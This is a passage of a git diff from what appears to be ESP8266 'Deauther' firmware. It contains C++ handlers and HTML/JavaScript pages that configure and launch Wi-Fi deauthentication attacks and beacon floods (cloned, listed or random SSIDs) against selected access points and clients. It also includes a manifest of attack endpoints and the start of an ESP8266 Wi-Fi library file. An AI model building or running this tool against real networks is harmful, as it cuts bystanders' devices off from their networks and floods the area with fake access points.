if(server.arg("ssidEnc") == "false") settings.attackEncrypted = false;
else settings.attackEncrypted = true;
}
if(server.hasArg("scanTime")) settings.clientScanTime = server.arg("scanTime").toInt();
if(server.hasArg("timeout")) settings.attackTimeout = server.arg("timeout").toInt();
if(server.hasArg("deauthReason")) settings.deauthReason = server.arg("deauthReason").toInt();
if(server.hasArg("packetRate")) settings.attackPacketRate = server.arg("packetRate").toInt();
if(server.hasArg("apScanHidden")){
if(server.arg("apScanHidden") == "false") settings.apScanHidden = false;
else settings.apScanHidden = true;
}
settings.save();
server.send( 200, "text/json", "true" );
}
void resetSettings(){
settings.reset();
server.send( 200, "text/json", "true" );
}
void deleteName(){
if(server.hasArg("num")) {
int _num = server.arg("num").toInt();
nameList.remove(_num);
server.send( 200, "text/json", "true");
}
}
void clearNameList(){
nameList.clear();
server.send( 200, "text/json", "true" );
}
void editClientName(){
if(server.hasArg("id") && server.hasArg("name")) {
nameList.edit(server.arg("id").toInt(),server.arg("name"));
server.send( 200, "text/json", "true");
}
}

View File

@@ -7,6 +7,9 @@
background: #000; background: #000;
color:#fff; color:#fff;
} }
#saved{
display: inline;
}
</style> </style>
<script src="functions.js"></script> <script src="functions.js"></script>
<meta name="viewport" content="width=device-width, initial-scale=0.8"> <meta name="viewport" content="width=device-width, initial-scale=0.8">
@@ -16,6 +19,7 @@
<a href="index.html">APs</a> <a href="index.html">APs</a>
<a href="clients.html">Clients</a> <a href="clients.html">Clients</a>
<a href="attack.html">Attack</a> <a href="attack.html">Attack</a>
<a href="settings.html">Settings</a>
</nav> </nav>
<div id="content"> <div id="content">
<h1>Attack</h1> <h1>Attack</h1>
@@ -37,30 +41,38 @@
<p class="small"> <p class="small">
<br> <br>
<b>deauth selected:</b><br> <b>deauth [deauthentication attack]:</b><br>
sends deauthentication frames and dissociation frames to the selected client(s) in the selected WiFi network. Sends deauthentication frames and dissociation frames to the selected client(s) in the selected WiFi access point(s).
<br><br>
<b>deauth all:</b><br>
sends deauthentication frames and dissociation frames as broadcast to all clients in the selected WiFi network.
<br><br>
<b>beacon spam:</b><br>
sends beacon frames with the same SSID as the selected WiFi access point.
<br><br>
<b>random beacon spam:</b><br>
sends beacon frames with a random SSID .
<br> <br>
<b>Note: </b>
If no client is selected, the packets are sent as broadcast!
<br><br>
<b>beacon [beacon flood attack]:</b><br>
(clone:) spams beacon frames with a similar SSID as the selected WiFi access point(s).<br />
(list:) spams beacon frames with all SSIDs in the list below.
</p> </p>
<br />
<p class="block bold">SSIDs: <span id="ssidCounter">0/64</span> <button class="marginNull warnBtn" onclick="clearSSID()">clear</button> <button class="marginNull" onclick="randomSSID()">random</button> <button class="marginNull" onclick="cloneSSID()">clone</button> <button class="marginNull" onclick="addSSID()">add</button></p>
<br />
<table>
</table>
<br />
<button class="marginNull warnBtn" onclick="resetSSID()">reset</button> <button class="marginNull" onclick="saveSSID()">save</button> <p class="small" id="saved">saved</p>
</div> </div>
</body> </body>
<script> <script>
var selectedAPs = document.getElementById("selectedAPs"); var selectedAPs = document.getElementById("selectedAPs");
var selectedClients = document.getElementById("selectedClients"); var selectedClients = document.getElementById("selectedClients");
var table = document.getElementsByTagName("table")[0]; var table = document.getElementsByTagName("table")[0];
var ssidList = document.getElementsByTagName("table")[1];
var saved = document.getElementById("saved");
var ssidCounter = document.getElementById("ssidCounter");
var resultInterval;
var res;
function getResults(){ function getResults(){
getResponse("attackInfo.json",function(responseText){ getResponse("attackInfo.json",function(responseText){
var res = JSON.parse(responseText); res = JSON.parse(responseText);
var aps = ""; var aps = "";
var clients = ""; var clients = "";
var tr = "<tr><th>Attack</th><th>Status</th><th>Start/Stop</th></tr>"; var tr = "<tr><th>Attack</th><th>Status</th><th>Start/Stop</th></tr>";
@@ -83,19 +95,73 @@
tr += "</tr>"; tr += "</tr>";
} }
table.innerHTML = tr; table.innerHTML = tr;
ssidCounter.innerHTML = res.ssid.length+"/64";
var tr = "<tr><th>Name</th><th>X</th></tr>";
for(var i=0;i<res.ssid.length;i++){
tr += "<tr>";
tr += "<td>"+res.ssid[i]+"</td>";
tr += '<td><button class="marginNull warnBtn" onclick="deleteSSID('+i+')">x</button></td>';
tr += "</tr>";
}
ssidList.innerHTML = tr;
},function(){
clearInterval(resultInterval);
location.reload();
}); });
} }
function startStop(num){ function startStop(num){
getResponse("attackStart.json?num="+num,function(responseText){ getResponse("attackStart.json?num="+num,function(responseText){
if(responseText == "true") { if(responseText == "true") getResults();
getResults();
setTimeout(getResults,3000);
}
else alert("error"); else alert("error");
}); });
} }
function addSSID(){
saved.innerHTML = "";
if(res.ssid.length >= 64) alert("SSID list full :(");
else{
var _ssidName = prompt("new SSID:");
if(_ssidName != null) getResponse("addSSID.json?name="+_ssidName,getResults);
}
}
function cloneSSID(){
saved.innerHTML = "";
if(res.ssid.length >= 64) alert("SSID list full :(");
else{
var _ssidName = prompt("new SSID:");
if(_ssidName != null) getResponse("cloneSSID.json?name="+_ssidName,getResults);
}
}
function deleteSSID(num){
saved.innerHTML = "";
getResponse("deleteSSID.json?num="+num,getResults);
}
function randomSSID(){
saved.innerHTML = "";
getResponse("randomSSID.json",getResults);
}
function clearSSID(){
saved.innerHTML = "";
getResponse("clearSSID.json",getResults);
}
function saveSSID(){
saved.innerHTML = "saved";
getResponse("saveSSID.json",getResults);
}
function resetSSID(){
saved.innerHTML = "saved";
getResponse("resetSSID.json",getResults);
}
getResults(); getResults();
resultInterval = setInterval(getResults,3000);
</script> </script>
</html> </html>

View File

@@ -13,7 +13,7 @@
#clientScanStart{ #clientScanStart{
margin-left: 30px; margin-left: 30px;
} }
#clientScanTime{ #scanTime{
width: 60px; width: 60px;
} }
</style> </style>
@@ -25,11 +25,12 @@
<a href="index.html">APs</a> <a href="index.html">APs</a>
<a href="clients.html">Clients</a> <a href="clients.html">Clients</a>
<a href="attack.html">Attack</a> <a href="attack.html">Attack</a>
<a href="settings.html">Settings</a>
</nav> </nav>
<div id="content"> <div id="content">
<h1>Scan for client devices</h1> <h1>Scan for client devices</h1>
<label for="clientScanTime">Scan time:</label> <label for="scanTime">Scan time:</label>
<input type="number" id="scanTime" value="10">s <input type="number" id="scanTime" value="10">s
<button onclick="scan()" id="startScan">start</button> <button onclick="scan()" id="startScan">start</button>
@@ -58,8 +59,8 @@
var res; var res;
function compare(a,b) { function compare(a,b) {
if (a.packets > b.packets) return -1; if (a.p > b.p) return -1;
if (a.packets < b.packets) return 1; if (a.p < b.p) return 1;
return 0; return 0;
} }
@@ -83,15 +84,15 @@
for(var i=0;i<res.clients.length;i++){ for(var i=0;i<res.clients.length;i++){
if(res.clients[i].selected) tr += '<tr class="selected">'; if(res.clients[i].s == 1) tr += '<tr class="selected">';
else tr += '<tr>'; else tr += '<tr>';
tr += '<td>'+res.clients[i].packets+'</td>'; tr += '<td>'+res.clients[i].p+'</td>';
tr += '<td>'+res.clients[i].vendor+'</td>'; tr += '<td>'+res.clients[i].v+'</td>';
tr += '<td>'+res.clients[i].name+' <a class="blue" onclick="changeName('+res.clients[i].id+')">edit</a></td>'; tr += '<td>'+res.clients[i].n+' <a class="blue" onclick="changeName('+res.clients[i].i+')">edit</a></td>';
tr += '<td>'+res.clients[i].mac+'</td>'; tr += '<td>'+res.clients[i].m+'</td>';
if(res.clients[i].selected) tr += '<td><button class="marginNull selectedBtn" onclick="select('+res.clients[i].id+')">deselect</button></td>'; if(res.clients[i].s == 1) tr += '<td><button class="marginNull selectedBtn" onclick="select('+res.clients[i].i+')">deselect</button></td>';
else tr += '<td><button class="marginNull" onclick="select('+res.clients[i].id+')">select</button></td>'; else tr += '<td><button class="marginNull" onclick="select('+res.clients[i].i+')">select</button></td>';
tr += '</tr>'; tr += '</tr>';
} }
@@ -129,14 +130,19 @@
} }
function changeName(id){ function changeName(id){
var newName = prompt("Name for "+res.clients[id].mac); var newName = prompt("Name for "+res.clients[id].m);
if(newName != null){
getResponse("setName.json?id="+id+"&name="+newName,function(responseText){ getResponse("setName.json?id="+id+"&name="+newName,function(responseText){
if(responseText == "true") getResults(); if(responseText == "true") getResults();
else alert("error"); else alert("error");
}); });
}
} }
getResponse("ClientScanTime.json",function(responseText){
scanTime.value = responseText;
});
getResults(); getResults();
</script> </script>
</html> </html>

View File

@@ -1,4 +1,4 @@
function getResponse(adr, callback, timeoutCallback = function(){alert("timeout error. Please reload the site");}, timeout = 3000){ function getResponse(adr, callback, timeoutCallback = function(){location.reload()}, timeout = 8000){
var xmlhttp = new XMLHttpRequest(); var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() { xmlhttp.onreadystatechange = function() {
if(xmlhttp.readyState == 4){ if(xmlhttp.readyState == 4){

View File

@@ -33,6 +33,7 @@
<a href="index.html">APs</a> <a href="index.html">APs</a>
<a href="clients.html">Clients</a> <a href="clients.html">Clients</a>
<a href="attack.html">Attack</a> <a href="attack.html">Attack</a>
<a href="settings.html">Settings</a>
</nav> </nav>
<div id="content"> <div id="content">
<h1>Scan for WiFi access points</h1> <h1>Scan for WiFi access points</h1>
@@ -42,8 +43,7 @@
<p class="block bold" id="networksFound">Networks found: 0</p> <p class="block bold" id="networksFound">Networks found: 0</p>
<p class="small"> <p class="small">
MAC: <span id="apMAC"></span><br /> MAC: <span id="apMAC"></span>
Vendor: <span id="apVendor"></span>
</p> </p>
<br /> <br />
@@ -54,6 +54,8 @@
<p class="small" id="wpa_info"> <p class="small" id="wpa_info">
<br /> <br />
WPA* = WPA/WPA2 auto mode WPA* = WPA/WPA2 auto mode
<br>
continuous scan: <button onclick="startConScan()" id="startStopScan">start</button>
</p> </p>
</body> </body>
@@ -63,10 +65,12 @@
var scanBtn = document.getElementById('apScanStart'); var scanBtn = document.getElementById('apScanStart');
var scanInfo = document.getElementById('scanInfo'); var scanInfo = document.getElementById('scanInfo');
var apMAC = document.getElementById('apMAC'); var apMAC = document.getElementById('apMAC');
var apVendor = document.getElementById('apVendor'); var startStopScan = document.getElementById('startStopScan');
var autoScan = false;
var canScan = true;
function toggleBtn(onoff){ function toggleBtn(onoff){
if(onoff){ if(onoff && !autoScan){
scanInfo.style.visibility = 'hidden'; scanInfo.style.visibility = 'hidden';
scanBtn.style.visibility = 'visible'; scanBtn.style.visibility = 'visible';
}else{ }else{
@@ -74,13 +78,21 @@
scanBtn.style.visibility = 'hidden'; scanBtn.style.visibility = 'hidden';
} }
} }
function compare(a,b) { function compare(a,b) {
if (a.rssi > b.rssi) return -1; if (a.r > b.r) return -1;
if (a.rssi < b.rssi) return 1; if (a.r < b.r) return 1;
return 0; return 0;
} }
function getEncryption(num){
if(num == 8) return "WPA*";
else if(num == 4) return "WPA2";
else if(num == 2) return "WPA";
else if(num == 7) return "none";
else if(num == 5) return "WEP";
}
function getResults(){ function getResults(){
toggleBtn(true); toggleBtn(true);
getResponse("APScanResults.json",function(responseText){ getResponse("APScanResults.json",function(responseText){
@@ -88,33 +100,33 @@
res.aps = res.aps.sort(compare); res.aps = res.aps.sort(compare);
networkInfo.innerHTML = "Networks found: "+res.aps.length; networkInfo.innerHTML = "Networks found: "+res.aps.length;
apMAC.innerHTML = ""; apMAC.innerHTML = "";
apVendor.innerHTML = "";
var tr = ''; var tr = '';
if(res.aps.length > 0) tr += '<tr><th>Ch</th><th>SSID</th><th>RSSI</th><th>Encrypt.</th><th>Select</th></tr>'; if(res.aps.length > 0) tr += '<tr><th>Ch</th><th>SSID</th><th>RSSI</th><th>Encrypt.</th><th>Select</th></tr>';
for(var i=0;i<res.aps.length;i++){ for(var i=0;i<res.aps.length;i++){
if(res.aps[i].selected) tr += '<tr class="selected">'; if(res.aps[i].se == 1) tr += '<tr class="selected">';
else tr += '<tr>'; else tr += '<tr>';
tr += '<td>'+res.aps[i].channel+'</td>'; tr += '<td>'+res.aps[i].c+'</td>';
tr += '<td>'+res.aps[i].ssid+'</td>'; tr += '<td>'+res.aps[i].ss+'</td>';
tr += '<td>'+res.aps[i].rssi+' <meter value="'+res.aps[i].rssi+'" max="-30" min="-100" low="-80" high="-60" optimum="-50"></meter></td>'; tr += '<td>'+res.aps[i].r+' <meter value="'+res.aps[i].r+'" max="-30" min="-100" low="-80" high="-60" optimum="-50"></meter></td>';
tr += '<td>'+res.aps[i].encryption+'</td>'; tr += '<td>'+getEncryption(res.aps[i].e)+'</td>';
if(res.aps[i].selected){ if(res.aps[i].se){
tr += '<td><button class="marginNull selectedBtn" onclick="select('+res.aps[i].id+')">deselect</button></td>'; tr += '<td><button class="marginNull selectedBtn" onclick="select('+res.aps[i].i+')">deselect</button></td>';
apMAC.innerHTML = res.aps[i].mac; apMAC.innerHTML = res.aps[i].m;
apVendor.innerHTML = res.aps[i].vendor;
} }
else tr += '<td><button class="marginNull" onclick="select('+res.aps[i].id+')">select</button></td>'; else tr += '<td><button class="marginNull" onclick="select('+res.aps[i].i+')">select</button></td>';
tr += '</tr>'; tr += '</tr>';
} }
table.innerHTML = tr; table.innerHTML = tr;
canScan = true;
}); });
} }
function scan(){ function scan(){
canScan = false;
toggleBtn(false); toggleBtn(false);
getResponse("APScan.json",function(responseText){ getResponse("APScan.json",function(responseText){
if(responseText == "true") getResults(); if(responseText == "true") getResults();
@@ -123,6 +135,18 @@
}); });
} }
function startConScan(){
if(autoScan){
autoScan = false;
startStopScan.innerHTML = "start";
toggleBtn(true);
}else{
autoScan = true;
startStopScan.innerHTML = "stop";
toggleBtn(false);
}
}
function select(num){ function select(num){
getResponse("APSelect.json?num="+num,function(responseText){ getResponse("APSelect.json?num="+num,function(responseText){
if(responseText == "true") getResults(); if(responseText == "true") getResults();
@@ -131,5 +155,10 @@
} }
getResults(); getResults();
setInterval(function(){
if(autoScan && canScan) scan();
},1000);
</script> </script>
</html> </html>

38
htmlfiles/manifest.json Normal file
View File

@@ -0,0 +1,38 @@
{
"sites":[
"error404.html",
"style.css",
"functions.js",
"index.html",
"clients.html",
"attack.html",
"settings.html"
],
"json":[
"APScanResults.json",
"ClientScanResults.json",
"settings.json",
"attackInfo.json"
],
"commands":[
"APScan.json",
"APSelect.json",
"ClientScan.json",
"ClientScanTime.json",
"clientSelect.json",
"setName.json",
"attackStart.json",
"settingsSave.json",
"settingsReset.json",
"deleteName.json",
"clearNameList.json",
"editNameList.json",
"addSSID.json",
"cloneSSID.json",
"deleteSSID.json",
"randomSSID.json",
"clearSSID.json",
"resetSSID.json",
"saveSSID.json"
]
}

211
htmlfiles/settings.html Normal file
View File

@@ -0,0 +1,211 @@
<html>
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="style.css">
<style>
nav a:nth-child(4){
background: #000;
color:#fff;
}
label{
display: inline-block;
width: 135px;
}
#saved{
display: inline;
margin-left: 20px;
}
</style>
<script src="functions.js"></script>
<meta name="viewport" content="width=device-width, initial-scale=0.8">
</head>
<body>
<nav>
<a href="index.html">APs</a>
<a href="clients.html">Clients</a>
<a href="attack.html">Attack</a>
<a href="settings.html">Settings</a>
</nav>
<div id="content">
<h1>Settings</h1>
<p class="block bold">WiFi</p>
<label for="ssid">SSID:</label>
<input type="text" id="ssid" minlength="1" maxlength="32">
<br />
<label for="ssidHidden">hidden:</label>
<input type="checkbox" name="ssidHidden" id="ssidHidden" value="false">
<br />
<label for="password">password:</label>
<input type="text" id="password" minlength="8" maxlength="32">
<p class="small">must have at least 8 characters! (needs restart)</p>
<br />
<label for="apChannel">channel:</label>
<input type="number" id="apChannel" min="1" max="11">
<br />
<br />
<p class="block bold">AP scan</p>
<label for="apScanHidden">scan for hidden APs:</label>
<input type="checkbox" name="apScanHidden" id="apScanHidden" value="false">
<br />
<br />
<p class="block bold">Client Scan</p>
<label for="scanTime">default scan time:</label>
<input type="number" id="scanTime" min="1" max="255">s
<br />
<br />
<p class="block bold">Attack</p>
<label for="timeout">timeout:</label>
<input type="number" id="timeout" min="-1" max="65536">s
<p class="small">0 = no timeout</p>
<label for="ssidEnc">WPA2 beacons:</label>
<input type="checkbox" name="ssidEnc" id="ssidEnc" value="false">
<br />
<label for="deauthReason">deauth reason:</label>
<input type="number" id="deauthReason" min="1" max="45">
<p class="small">reason codes: <a target="_blank" href="http://www.aboutcher.co.uk/2012/07/linux-wifi-deauthenticated-reason-codes/">click</a></p>
<label for="packetRate">packetrate:</label>
<input type="number" id="packetRate" min="1" max="100">pkts/s
<p class="small">only for deauth attack - may cause instability!</p>
<br />
<br />
<button class="warnBtn" onclick="resetSettings()">reset</button> <button onclick="saveSettings()">save</button><p class="small" id="saved"></p>
<br />
<br />
<p class="block bold" id="clientNames">Client Names</p>
<table id="nameList">
<tr><th>MAC</th><th>Vendor</th><th>Name</th><th>X</th></tr>
</table>
<br />
<button class="warnBtn" onclick="clearNameList()">clear</button></p>
</div>
<table>
</table>
</body>
<script>
var nameListTable = document.getElementById('nameList');
var ssid = document.getElementById('ssid');
var ssidHidden = document.getElementById('ssidHidden');
var password = document.getElementById('password');
var apChannel = document.getElementById('apChannel');
var apScanHidden = document.getElementById('apScanHidden');
var scanTime = document.getElementById('scanTime');
var timeout = document.getElementById('timeout');
var deauthReason = document.getElementById('deauthReason');
var packetRate = document.getElementById('packetRate');
var saved = document.getElementById('saved');
var clientNames = document.getElementById('clientNames');
var ssidEnc = document.getElementById('ssidEnc');
var res;
function getData(){
getResponse("settings.json",function(responseText){
res = JSON.parse(responseText);
ssid.value = res.ssid;
ssidHidden.checked = res.ssidHidden;
password.value = res.password;
apChannel.value = res.apChannel;
apScanHidden.checked = res.apScanHidden;
scanTime.value = res.clientScanTime;
timeout.value = res.attackTimeout;
deauthReason.value = res.deauthReason;
packetRate.value = res.attackPacketRate;
ssidEnc.checked = res.attackEncrypted;
clientNames.innerHTML = "Client Names "+res.nameList.length+"/50";
var tr = '<tr><th>MAC</th><th>Vendor</th><th>Name</th><th>X</th></tr>';
for(var i=0;i<res.nameList.length;i++){
tr += '<tr>';
tr += '<td>'+res.nameList[i].m+'</td>';
tr += '<td>'+res.nameList[i].v+'</td>';
tr += '<td>'+res.nameList[i].n+' <a class="blue" onclick="changeName('+i+')">edit</a></td>';
tr += '<td><button class="marginNull warnBtn" onclick="deleteName('+i+')">x</button></td>';
tr += '</tr>';
}
nameListTable.innerHTML = tr;
});
}
function changeName(id){
var newName = prompt("Name for "+res.nameList[id].m);
if(newName != null){
getResponse("editNameList.json?id="+id+"&name="+newName,function(responseText){
if(responseText == "true") getData();
else alert("error");
});
}
}
function deleteName(id){
getResponse("deleteName.json?num="+id,function(responseText){
if(responseText == "true") getData();
else alert("error");
});
}
function saveSettings(){
saved.innerHTML = "saving...";
var url = "settingsSave.json";
url += "?ssid="+ssid.value;
url += "&ssidHidden="+ssidHidden.checked;
url += "&password="+password.value;
url += "&apChannel="+apChannel.value;
url += "&apScanHidden="+apScanHidden.checked;
url += "&scanTime="+scanTime.value;
url += "&timeout="+timeout.value;
url += "&deauthReason="+deauthReason.value;
url += "&packetRate="+packetRate.value;
url += "&ssidEnc="+ssidEnc.checked;
getResponse(url, function(responseText){
if(responseText == "true"){
getData();
saved.innerHTML = "saved";
}
else alert("error");
});
}
function resetSettings(){
getResponse("settingsReset.json", function(responseText){
if(responseText == "true"){
getData();
saved.innerHTML = "saved";
}
else alert("error");
});
}
function clearNameList(){
getResponse("clearNameList.json", function(responseText){
if(responseText == "true") getData();
else alert("error");
});
}
getData();
</script>
</html>

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 95 KiB

After

Width:  |  Height:  |  Size: 153 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 87 KiB

After

Width:  |  Height:  |  Size: 144 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

After

Width:  |  Height:  |  Size: 57 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 66 KiB

After

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 87 KiB

After

Width:  |  Height:  |  Size: 78 KiB

962
sdk_fix/ESP8266WiFi.cpp Normal file
View File

@@ -0,0 +1,962 @@
/*
ESP8266WiFi.cpp - WiFi library for esp8266
Copyright (c) 2014 Ivan Grokhotkov. All rights reserved.
This file is part of the esp8266 core for Arduino environment.
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include "ESP8266WiFi.h"
extern "C" {
#include "c_types.h"
#include "ets_sys.h"
#include "os_type.h"
#include "osapi.h"
#include "mem.h"
#include "user_interface.h"
#include "smartconfig.h"
#include "lwip/opt.h"
#include "lwip/err.h"
#include "lwip/dns.h"
}
#include "WiFiClient.h"
#include "WiFiUdp.h"
#include "debug.h"
extern "C" void esp_schedule();
extern "C" void esp_yield();
ESP8266WiFiClass::ESP8266WiFiClass()
: _smartConfigStarted(false)
, _smartConfigDone(false)
, _useStaticIp(false)
, _persistent(true)
{
uint8 m = wifi_get_opmode();
_useClientMode = (m & WIFI_STA);
_useApMode = (m & WIFI_AP);
wifi_set_event_handler_cb((wifi_event_handler_cb_t)&ESP8266WiFiClass::_eventCallback);
}
void ESP8266WiFiClass::persistent(bool persistent)
{
_persistent = persistent;
}
void ESP8266WiFiClass::mode(WiFiMode m)
{
if(wifi_get_opmode() == (uint8)m) {
return;
}
if((m & WIFI_AP)) {
_useApMode = true;
} else {
_useApMode = false;
}
if((m & WIFI_STA)) {
_useClientMode = true;
} else {
_useClientMode = false;
}
_mode(m);
}
WiFiMode ESP8266WiFiClass::getMode()
{
return (WiFiMode)wifi_get_opmode();
}
void ESP8266WiFiClass::_mode(WiFiMode m)
{
if(wifi_get_opmode() == (uint8)m) {
return;
}
ETS_UART_INTR_DISABLE();
if (_persistent)
wifi_set_opmode(m);
else
wifi_set_opmode_current(m);
ETS_UART_INTR_ENABLE();
}
static bool sta_config_equal(const station_config& lhs, const station_config& rhs)
{
if (strcmp(reinterpret_cast<const char*>(lhs.ssid), reinterpret_cast<const char*>(rhs.ssid)) != 0)
return false;
if (strcmp(reinterpret_cast<const char*>(lhs.password), reinterpret_cast<const char*>(rhs.password)) != 0)
return false;
if (lhs.bssid_set) {
if (!rhs.bssid_set)
return false;
if (memcmp(lhs.bssid, rhs.bssid, 6) != 0)
return false;
}
else {
if (rhs.bssid_set)
return false;
}
return true;
}
int ESP8266WiFiClass::begin(char* ssid, char *passphrase, int32_t channel, const uint8_t* bssid)
{
return begin((const char*) ssid, (const char*) passphrase, channel, bssid);
}
int ESP8266WiFiClass::begin(const char* ssid, const char *passphrase, int32_t channel, const uint8_t* bssid)
{
_useClientMode = true;
if(_useApMode) {
// turn on AP+STA mode
_mode(WIFI_AP_STA);
} else {
// turn on STA mode
_mode(WIFI_STA);
}
if(!ssid || *ssid == 0x00 || strlen(ssid) > 31) {
// fail SSID too long or missing!
return WL_CONNECT_FAILED;
}
if(passphrase && strlen(passphrase) > 63) {
// fail passphrase too long!
return WL_CONNECT_FAILED;
}
struct station_config conf;
strcpy(reinterpret_cast<char*>(conf.ssid), ssid);
if (passphrase) {
strcpy(reinterpret_cast<char*>(conf.password), passphrase);
} else {
*conf.password = 0;
}
if (bssid) {
conf.bssid_set = 1;
memcpy((void *) &conf.bssid[0], (void *) bssid, 6);
} else {
conf.bssid_set = 0;
}
struct station_config current_conf;
wifi_station_get_config(&current_conf);
if (sta_config_equal(current_conf, conf)) {
DEBUGV("sta config unchanged");
return status();
}
ETS_UART_INTR_DISABLE();
if (_persistent)
wifi_station_set_config(&conf);
else
wifi_station_set_config_current(&conf);
wifi_station_connect();
ETS_UART_INTR_ENABLE();
if(channel > 0 && channel <= 13) {
wifi_set_channel(channel);
}
if(!_useStaticIp)
wifi_station_dhcpc_start();
return status();
}
int ESP8266WiFiClass::begin()
{
ETS_UART_INTR_DISABLE();
wifi_station_connect();
ETS_UART_INTR_ENABLE();
if(!_useStaticIp)
wifi_station_dhcpc_start();
return status();
}
uint8_t ESP8266WiFiClass::waitForConnectResult(){
if ((wifi_get_opmode() & 1) == 0)//1 and 3 have STA enabled
return WL_DISCONNECTED;
while (status() == WL_DISCONNECTED)
delay(100);
return status();
}
// You will have to set the DNS-Server manually later since this will not enable DHCP2
void ESP8266WiFiClass::config(IPAddress local_ip, IPAddress gateway, IPAddress subnet)
{
struct ip_info info;
info.ip.addr = static_cast<uint32_t>(local_ip);
info.gw.addr = static_cast<uint32_t>(gateway);
info.netmask.addr = static_cast<uint32_t>(subnet);
wifi_station_dhcpc_stop();
wifi_set_ip_info(STATION_IF, &info);
_useStaticIp = true;
}
void ESP8266WiFiClass::config(IPAddress local_ip, IPAddress gateway, IPAddress subnet, IPAddress dns)
{
struct ip_info info;
info.ip.addr = static_cast<uint32_t>(local_ip);
info.gw.addr = static_cast<uint32_t>(gateway);
info.netmask.addr = static_cast<uint32_t>(subnet);
wifi_station_dhcpc_stop();
wifi_set_ip_info(STATION_IF, &info);
// Set DNS-Server
ip_addr_t d;
d.addr = static_cast<uint32_t>(dns);
dns_setserver(0,&d);
_useStaticIp = true;
}
int ESP8266WiFiClass::softAPdisconnect(bool wifioff)
{
struct softap_config conf;
*conf.ssid = 0;
*conf.password = 0;
ETS_UART_INTR_DISABLE();
if (_persistent)
wifi_softap_set_config(&conf);
else
wifi_softap_set_config_current(&conf);
ETS_UART_INTR_ENABLE();
if(wifioff) {
_useApMode = false;
if( _useClientMode) {
// turn on STA
_mode(WIFI_STA);
} else {
// turn wifi off
_mode(WIFI_OFF);
}
}
return 0;
}
int ESP8266WiFiClass::disconnect(bool wifioff)
{
struct station_config conf;
*conf.ssid = 0;
*conf.password = 0;
ETS_UART_INTR_DISABLE();
if (_persistent)
wifi_station_set_config(&conf);
else
wifi_station_set_config_current(&conf);
wifi_station_disconnect();
ETS_UART_INTR_ENABLE();
if(wifioff) {
_useClientMode = false;
if(_useApMode) {
// turn on AP
_mode(WIFI_AP);
} else {
// turn wifi off
_mode(WIFI_OFF);
}
}
return 0;
}
static bool softap_config_equal(const softap_config& lhs, const softap_config& rhs)
{
if (strcmp(reinterpret_cast<const char*>(lhs.ssid), reinterpret_cast<const char*>(rhs.ssid)) != 0)
return false;
if (strcmp(reinterpret_cast<const char*>(lhs.password), reinterpret_cast<const char*>(rhs.password)) != 0)
return false;
if (lhs.channel != rhs.channel)
return false;
if (lhs.ssid_hidden != rhs.ssid_hidden)
return false;
return true;
}
void ESP8266WiFiClass::softAP(const char* ssid)
{
softAP(ssid, 0);
}
void ESP8266WiFiClass::softAP(const char* ssid, const char* passphrase, int channel, int ssid_hidden)
{
_useApMode = true;
if(_useClientMode) {
// turn on AP+STA mode
_mode(WIFI_AP_STA);
} else {
// turn on STA mode
_mode(WIFI_AP);
}
if(!ssid || *ssid == 0 || strlen(ssid) > 31) {
// fail SSID too long or missing!
return;
}
if(passphrase && strlen(passphrase) > 63) {
// fail passphrase to long!
return;
}
struct softap_config conf;
wifi_softap_get_config(&conf);
strcpy(reinterpret_cast<char*>(conf.ssid), ssid);
conf.channel = channel;
conf.ssid_len = strlen(ssid);
conf.ssid_hidden = ssid_hidden;
conf.max_connection = 4;
conf.beacon_interval = 100;
if (!passphrase || strlen(passphrase) == 0)
{
conf.authmode = AUTH_OPEN;
*conf.password = 0;
}
else
{
conf.authmode = AUTH_WPA2_PSK;
strcpy(reinterpret_cast<char*>(conf.password), passphrase);
}
struct softap_config conf_current;
wifi_softap_get_config(&conf_current);
if (softap_config_equal(conf, conf_current))
{
DEBUGV("softap config unchanged");
return;
}
ETS_UART_INTR_DISABLE();
if (_persistent)
wifi_softap_set_config(&conf);
else
wifi_softap_set_config_current(&conf);
ETS_UART_INTR_ENABLE();
}
void ESP8266WiFiClass::softAPConfig(IPAddress local_ip, IPAddress gateway, IPAddress subnet)
{
struct ip_info info;
info.ip.addr = static_cast<uint32_t>(local_ip);
info.gw.addr = static_cast<uint32_t>(gateway);
info.netmask.addr = static_cast<uint32_t>(subnet);
wifi_softap_dhcps_stop();
wifi_set_ip_info(SOFTAP_IF, &info);
wifi_softap_dhcps_start();
}
uint8_t* ESP8266WiFiClass::macAddress(uint8_t* mac)
{
wifi_get_macaddr(STATION_IF, mac);
return mac;
}
String ESP8266WiFiClass::macAddress(void)
{
uint8_t mac[6];
char macStr[18] = {0};
wifi_get_macaddr(STATION_IF, mac);
sprintf(macStr, "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
return String(macStr);
}
uint8_t* ESP8266WiFiClass::softAPmacAddress(uint8_t* mac)
{
wifi_get_macaddr(SOFTAP_IF, mac);
return mac;
}
String ESP8266WiFiClass::softAPmacAddress(void)
{
uint8_t mac[6];
char macStr[18] = {0};
wifi_get_macaddr(SOFTAP_IF, mac);
sprintf(macStr, "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
return String(macStr);
}
IPAddress ESP8266WiFiClass::localIP()
{
struct ip_info ip;
wifi_get_ip_info(STATION_IF, &ip);
return IPAddress(ip.ip.addr);
}
IPAddress ESP8266WiFiClass::softAPIP()
{
struct ip_info ip;
wifi_get_ip_info(SOFTAP_IF, &ip);
return IPAddress(ip.ip.addr);
}
IPAddress ESP8266WiFiClass::subnetMask()
{
struct ip_info ip;
wifi_get_ip_info(STATION_IF, &ip);
return IPAddress(ip.netmask.addr);
}
